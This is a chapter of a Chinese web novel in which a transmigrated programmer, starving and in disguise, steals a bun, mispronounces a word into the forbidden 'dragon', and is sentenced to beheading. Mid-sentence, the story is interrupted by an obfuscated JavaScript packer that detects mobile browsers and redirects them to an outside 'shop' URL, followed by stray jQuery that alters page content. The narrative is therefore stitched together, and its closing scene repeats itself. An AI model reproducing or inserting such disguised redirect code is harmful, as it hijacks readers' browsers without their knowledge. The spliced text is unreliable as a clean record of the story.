清晨的第一缕阳光透过柴房缝隙照进来时，林越已经醒了。他盯着手腕上那道清晰的红痕看了很久，直到眼睛发酸。
只剩一次机会了。
这个念头像一块巨石压在他心头。他坐起身，开始今天的第一个任务：伪装。
第三次了。第一次死在乱葬岗，第二次被杖毙，这次不能再死了。那种疼痛，那种绝望，他不想再经历第三次。
这次一定要小心。语言、礼仪、行为，每一个细节都要注意。在这个世界，说错一个字，做错一个动作，都可能要命。
从墙角抓起一把碳灰，他走到水缸前，借着水面模糊的倒影，开始在自己脸上涂抹。用深色的碳灰在颧骨下方打阴影，让脸看起来更瘦削；用浅色的灰在眉骨处提亮；最后在嘴角画上几道细纹，让自己看起来老了几岁。
不能太明显，但也不能完全不像。得让人觉得和通缉令上的完全不同，但又不能引起怀疑。
伪装完成后，他换上那套从旧衣摊上淘来的粗布衣服——比之前的更破旧，但洗得干净。衣服上有几个补丁，针脚粗糙，但至少没有破洞。
最后，他对着水面练习今天的第一个词，嘴唇微动：“谢过。”
发音要准确，声调要到位。大炎官话的声调比普通话复杂，有六个调值。林越已经练习了好几天，但还是不敢大意。
这是他在清水镇的第二天。一天前，他带着从破驿站学来的基础语言和礼仪，小心翼翼地进入这个城镇。他还是找了这家酒肆打工，胖掌柜听说林越是外地来的流民，愿意给他一个栖身之所。
林越很珍惜这个机会。他每天天不亮就起床，劈柴、挑水、搬酒坛，什么脏活累活都干，没有怨言。闲下来的时候，他就躲在角落里，竖起耳朵听客人们聊天，学习他们的发音、用词、语气。
这学习方式比公司培训还累。至少培训有老师讲，有教材看。这里全靠自己偷听，错了都不知道。
但他发现了一些规律。大炎官话的语法和普通话有些相似，但词汇和发音差别很大。比如“吃饭”叫“恰饭”，“喝水”叫“饮汤”，“睡觉”叫“眠觉”。
林越像背代码一样背这些词汇。每天早上醒来，第一件事就是默念昨天学到的词；干活的时候，在心里造句；晚上睡觉前，复习一整天听到的对话。他甚至还发明了一套自己的记忆法——把发音相似的词归类，把意思相关的词分组，像是在整理数据库。
他发现大炎官话里有不少古汉语的影子，有些词他依稀记得在文言文里见过。这让他稍微安心了一点，至少不是完全陌生的语言体系。但发音依然是最大的难关，那些奇怪的声调，那些卷舌音，那些喉音，让他舌头打结，喉咙发紧。
更麻烦的是方言差异。清水镇的口音和黄壤屯的不太一样，更柔和，更绵长。他之前在破驿站学的是黄壤屯那边的口音，到这里还得重新调整。这感觉就像学了一种编程语言，换了个版本，语法差不多，但一些细节变了，得重新适应。
他特别注意那些容易混淆的词。比如“龙”和“饿”，发音相近，但意思天差地别。一个是禁忌，一个是生理需求。说错了“龙”字，直接死刑；说错了“饿”字，顶多被人笑话。所以他反复练习这两个词的发音，对着水缸的倒影，观察口型，调整舌头位置。
“龙——le，二声，舌头后缩，口腔打开。”
“饿——le，四声，舌头平放，嘴角稍收。”
他一遍遍地念，直到口干舌燥。这两个词太重要了，一个关乎生死，一个关乎温饱。他可不想因为发音不准，把“我饿”说成“我龙”，那乐子就大了，直接送菜市口。
他还注意到，大炎官话有很多敬语和谦语。对长辈要说“您”，语气恭敬；对平辈要说“尔”；对自己要说“小人”或“草民”。这些规矩比现代汉语复杂得多，一不小心就会用错。
这规矩比公司那个“必须叫领导职称”的规定还麻烦。至少叫错了领导职称，顶多被批评一顿。这里叫错了，可能就要掉脑袋。所以他必须小心。
他学得很快，也许是求生的本能，也许是程序员的逻辑思维帮助了他。现在已经能听懂大部分日常对话，也能进行简单的交流。但他知道，这还不够。
比如现在，他正在劈柴。一个伙计走过来：“喂，新来的，掌柜让尔去前店搬两坛酒，客人要的。”
林越放下斧头，低头应道：“是，小人这就去。”他刻意用了“小人”这个自称——这是平民对上级的标准用语。
走到前店，他低着头，目不斜视。他知道自己的伪装能骗过一般人，但如果是眼神敏锐的人，还是有可能认出来。所以他尽量避免出现在人多的地方。
低调，一定要低调。不能引起注意，不能让人怀疑，不能犯错。犯错就是死，没有第二次机会。
前店比后院热闹得多，人声嘈杂，酒气弥漫。林越快速扫了一眼，确认没有熟悉的面孔，这才松了口气。
他搬起两坛酒，压得肩膀生疼。但他不敢停，也不敢慢，脚步稳而快。
搬完酒坛，他回到后院，继续劈柴。斧头起落，木柴应声而裂。汗水顺着额头流下来，滴进眼睛里，刺得生疼。但他不敢擦，怕手上的碳灰被汗水冲掉。
中午，胖掌柜给了他一碗稀粥和一张干饼。林越接过，低声说：“谢过掌柜。”
“吃吧，下午还有活。”胖掌柜摆摆手，转身走了。
林越蹲在墙角，小口小口地吃着。稀粥很稀，几乎能照见人影；干饼硬得像石头，得就着粥才能咽下去。但他吃得很认真，每一口都细细咀嚼。
“这伙食真是比我们公司的食堂还差。”林越一边吃一边吐槽，“至少食堂的饭是热的，这粥是凉的，饼是硬的。”
吃完后，他把碗洗干净，放回厨房，然后继续干活。
下午的阳光很毒，晒得人头晕眼花。林越感觉自己越来越饿——早上的稀粥和干饼根本不够支撑这么重的体力劳动。他的肚子开始咕咕叫，手脚也开始发软。
“再坚持一下……”他对自己说，“晚上就有饭吃了。”
但到了晚上，胖掌柜只给了他半碗剩菜和半张饼。
“最近生意不好，将就着吃吧。”胖掌柜有些不好意思地说。
林越没说什么，接过食物，默默吃完。他知道掌柜说的是实话——这家酒肆位置偏，客人少，能给他一份工已经不错了。
回到柴房，林越躺在干草堆上，感觉胃里空荡荡的。饥饿像一只无形的手，攥着他的胃，越攥越紧。他想起穿越前的生活——加班到深夜，还能去便利店买关东煮和烤肠，热乎乎的，香喷喷的……
“别想了。”，他强迫自己停止回忆，想也没用。
他抬起手腕，看着那道红痕。在昏暗的光线下，它像一道血色的伤疤，提醒着他：只剩一次机会了。
“必须活下去。”他喃喃自语，“无论如何，必须活下去。”
第二天，情况更糟了。
酒肆来了个大客户，包下了整个后院办宴席。林越从早忙到晚，搬桌子、摆椅子、端菜送酒，连喘口气的时间都没有。中午掌柜忙忘了，没给他饭吃。等到傍晚宴席结束，他才得到一碗冷掉的剩饭。
饿。
太饿了。
林越感觉自己的胃在抽搐，眼前一阵阵发黑。他扶着墙，慢慢走回柴房，每一步都像踩在棉花上。
“不行……得找点吃的……”他靠在墙上，喘着粗气。
可是去哪儿找呢？酒肆的厨房锁着，掌柜看得紧。街上倒是有卖吃的，但他没几个铜板。就在这时，一阵香味飘了过来。
肉香、面香，还有某种香料的味道。
林越抬起头，鼻子不自觉地抽动。这香味……是从隔壁传来的。隔壁是一家包子铺，他每天都能闻到那里的香味，但今天特别浓，特别诱人。
他鬼使神差地走出柴房，顺着香味来到包子铺后墙。从墙缝里看进去，能看见蒸笼冒着白气，能听见包子出笼时“噗”的一声轻响。
一个伙计端着一笼刚蒸好的包子走出来，放在案板上。那些包子白白胖胖，冒着热气，皮薄得能看见里面的馅儿——是肉馅，油汪汪的，香得让人流口水。
林越的喉咙动了动。他感觉自己能吞下一头牛。
“就一个……”，他心里有个声音在说，“就拿一个，以后有钱了还他双倍……”
理智告诉他不能这么做，偷窃是犯罪，被抓到就完了。但饥饿压倒了一切，他的身体自己动了，翻过后墙，溜进后院，伸手抓起一个包子——
“干什么的！”
一声大喝从身后传来。林越浑身一僵，手里的包子“啪”地掉在地上。
包子铺老板站在门口，瞪着眼睛看着他。就是之前镇口的包子铺老板，这似乎才是他的本店，但他似乎没有认出林越，此刻脸上满是怒容。
“我……我……”林越慌了，大脑一片空白。他想解释，想说自己是太饿了，想说以后一定还钱，但话到嘴边，却结结巴巴说不出来。
完了……被抓现行了！林越心里叫苦，这次真的完了……
“偷东西？”老板走过来，捡起地上的包子，看了看，又看了看林越，“看尔也不像坏人，怎么干这种事？”
“对……恕罪……”林越终于挤出几个字，“小人太饿了……小人不是故意的……”
“饿了就能偷？”老板摇摇头，“按律法，盗窃要受罚。轻则杖责，重则流放。看尔年纪轻轻，我也不想为难尔。这样吧，尔在我这儿干三天活，抵这个包子的钱，怎么样？”
林越眼睛一亮。有转机！老板是个善人，愿意给他机会！
三天活抵一个包子？这买卖……划算！林越心里一喜，至少不用挨打，不用流放。
“小人愿意！小人愿意干活！”他连忙说，“谢过老板！谢过！”
“嗯，那就——”老板话没说完，外面突然传来一阵喧哗声。几个街坊邻居听见动静，围了过来。
“老张，怎么回事？”
“这小偷抓着了？”
“哟，还是个生面孔！”
人群围了上来，七嘴八舌地问。林越被围在中间，感觉无数双眼睛盯着自己，压力山大。他必须说点什么，必须解释清楚。
解释……怎么解释？林越脑子飞速运转，“说我是太饿了？说我会干活抵债？”
“各位，听我说……”他深吸一口气，努力组织语言，“我不是小偷，我只是……只是太饿了……”
“饿了就能偷？”一个妇人尖声说。
“不是，我的意思是……”林越急了，语速加快，“我一天没吃饭了，实在受不了，才……才拿了一个包子。我愿意干活抵债，真的！”
他说得很快，很急，发音有些走样。但这不是重点。重点是，在极度紧张和饥饿的状态下，他的大脑有些混乱，舌头有些打结。
他想说“饿”。
大炎官话里，“饿”的发音是“lè”，第四声，短促有力。
但他太紧张了，声带绷得太紧，发音时气流控制不稳。那个“lè”音在出口的瞬间，发生了一点微妙的变化——声调偏高了一点，尾音拖长了一点。
听起来，有点像……
“龙”。
周围突然安静了。
死一般的寂静。
包子铺老板的脸色瞬间变了。从刚才的和善，变成了震惊，然后是恐惧。他后退一步，指着林越，手指发抖：“你……尔刚才说什么？”
林越还没反应过来：“我说我饿……”
“不对！”一个老头打断他，“尔说了那个字！尔说的是那个字！”
“我没有！”林越急了，“我说的是饿！lè！第四声！”
“就是那个字！”另一个妇人也喊起
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17119392|195946||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
来，“我听得清清楚楚！是那个字！”
人群骚动起来。人们交头接耳，眼神里充满了惊恐和愤怒。
“庶民不得言……”
“这是亵渎皇权！”
“要杀头的！”
林越终于意识到发生了什么，他的发音错了！在紧张和饥饿的状态下，他把“饿”说成了“龙”。虽然只是微小的差异，但在这个世界，这是致命的错误。
“我……说错字了？”林越脑子嗡的一声，“‘饿’说成了‘龙’？这怎么可能？”
“不是的……尔等听错了……”他想解释，但声音被淹没在人群的喧哗中。
“抓起来！”有人喊。
“送官！”
“对！送官！”
几个人冲上来，抓住林越的胳膊。他挣扎，但饿得没力气，很快就被制服了。
林越被押到了县衙。这一次，他没有被关进牢房，而是直接被带到了公堂上。
公堂比林越想象的要大，也要威严得多。正中央高悬着一块匾额，上面写着“明镜高悬”四个大字，金漆已经有些剥落，但依然透着森严的气势。匾额下方是一张巨大的红木案桌，桌后坐着县官。
县官留着山羊胡，脸上皱纹很深，眼神锐利得像鹰。他穿着一身青色官服，头戴乌纱帽，手里拿着一块惊堂木。看到林越被押上来，他皱了皱眉，用惊堂木在案上轻轻敲了敲：“肃静。”
堂下原本有些嘈杂，立刻安静下来。几个衙役分列两旁，手持水火棍，面无表情。堂外挤满了看热闹的百姓，伸长脖子往里瞧。
“尔是何人？”县官开口，声音不高，但很有穿透力。
林越低头不语。他知道，说什么都没用了。解释？辩解？在这个世界，说错一个字就是死罪，解释再多也没用。
“尔犯了什么罪？”县官又问。
“回大人，此人偷窃包子，被当场抓获。”押送他的衙役上前一步，躬身回答，“而且，他在辩解时，说了那个字。”
“那个字？”县官的眼神变得锐利，像两把刀子刺向林越，“尔说了那个字？”
林越张了张嘴，想解释，但发不出声音。他知道，解释也没用。在这个世界，“龙”是皇权的象征，庶民不得言“龙”，违者就是亵渎皇权，就是死罪。他想起之前学过的规矩——大炎王朝以龙为图腾，皇帝自称“真龙天子”，民间严禁使用“龙”字，连发音相近的字都要避讳。
“我怎么会说错呢？”林越在心里问自己，“‘饿’和‘龙’，发音明明不一样啊……”但他知道，在极度紧张和饥饿的状态下，发音确实可能出错。声带绷得太紧，气流控制不稳，一个音就可能变成另一个音。
“看来尔是不肯招了。”县官失去了耐心，拿起惊堂木，“啪”地一声重重拍在案上，“按《大炎律例》第三卷第七条：盗窃财物者，杖责三十，罚银五两！”
堂下传来一阵窃窃私语。三十杖不算轻，但也不算重，至少不会要命。
但县官的话还没完：“又按《大炎律例》第一卷第一条：庶民不得言‘龙’，违者，视为亵渎皇权，斩立决！”
“斩立决”三个字像三把重锤，狠狠砸在林越心上。他感觉自己的心脏停跳了一拍，然后开始疯狂地跳动，像要跳出胸腔。
“斩立决……”他在心里重复着，"就这么……死了？"
“两罪并罚，斩立决！”县官的声音冰冷，没有一丝感情，“拖下去，后日午时三刻，城南菜市口，斩首示众！”
林越抬起头，看着县官。县官的脸上没有任何表情，就像在说一件再平常不过的事。对县官来说，这确实很平常——每天都要审判犯人，每天都要判刑，死刑也不过是众多刑罚中的一种。
“为什么？！”林越在心里呐喊，“为什么总是我？我只是想活下去……我只是想吃口饭……我犯了什么滔天大罪？偷一个包子？说错一个字？”
但没人听得见他的心声。在这个世界，规则就是规则，法律就是法律，没有理由，没有解释，没有通融。
两个衙役上前，一左一右架起林越。林越没有挣扎，没有反抗。他知道，挣扎也没用，反抗也没用。在这个公堂上，县官就是天，县官的话就是法。
他被拖出公堂，拖过长长的走廊，拖向大牢。走廊两旁的墙壁上挂着一些字画，有的是山水，有的是警句。林越看见其中一幅字，上面写着：“法不容情”。
手腕上的红痕，最后一道，也开始慢慢变淡。他能感觉到，那种熟悉的、死亡临近的感觉又来了。
“第三次了……” 他想着，“这次死了，就真的死了吧……”
他不知道死亡轮回的机制是什么，为什么前两次死了能重生，为什么手腕上会有红痕。但他知道，这次可能是最后一次了。红痕只剩一道，如果这次死了，可能就再也没有重生的机会了。
他被扔进大牢。牢房很小，很暗，只有一扇小窗透进一点光。地上铺着干草，散发着霉味。墙角有只老鼠，看见他进来，吱吱叫了两声，跑开了。
林越靠在墙上，慢慢滑坐在地上。他抬起手腕，看着那道红痕。在昏暗的光线下，它像一道血色的伤疤，提醒着他：只剩一次机会了。
而现在，这最后的机会，也要用完了。
“完了……”他喃喃自语，“这次，真的完了。”
他闭上眼睛，等待死亡的到来。
就为了一个包子。
就为了说错一个字。
他就要死了。
第三次死亡。
也是最后一次。
“拖下去，后日午时三刻，斩首示众！”县官挥了挥手。
林越被拖了下去。他没有挣扎，没有反抗。他知道，挣扎也没用，反抗也没用。
他被推搡着往前走，脑子里一片空白。只有两个字在回荡：完了。
这次，真的完了。